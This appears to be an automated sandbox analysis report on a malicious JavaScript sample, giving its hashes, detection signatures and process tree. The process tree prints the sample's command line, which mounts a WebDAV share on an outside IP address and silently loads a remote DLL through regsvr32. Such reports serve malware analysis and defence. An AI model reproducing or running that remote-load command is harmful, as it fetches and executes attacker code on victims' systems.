Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23-07-2024 07:09

General

  • Target

    3259020866242822727.js

  • Size

    4KB

  • MD5

    19ad0ccd7e65e9fbfe82c24281622ab8

  • SHA1

    a6876d08540a2e5ba6fce442a1deaa289218e628

  • SHA256

    153c1500fa2a70597bdbfa869fd38d2a49da247663214ca51b552325e9186784

  • SHA512

    0b0ccab812b932bd33b5521aed35884417dbbda3b56f1e532d426f496328a66d89fd0e5fa7c640380faa310ddd2612fee8d00f1dc9f22c9c2aaae30af48a6497

  • SSDEEP

    96:+WNW8WaWFWLWqW/W5WEWKWdTWbyWboWwkWBWvW9WOW4WTWPWpWcWqW0SWeWvWzWl:pEHdsiteI/NkbFbLwfgO05bau4nt0lJ5

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3259020866242822727.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1344
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\1180119869019.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:564
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1192

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads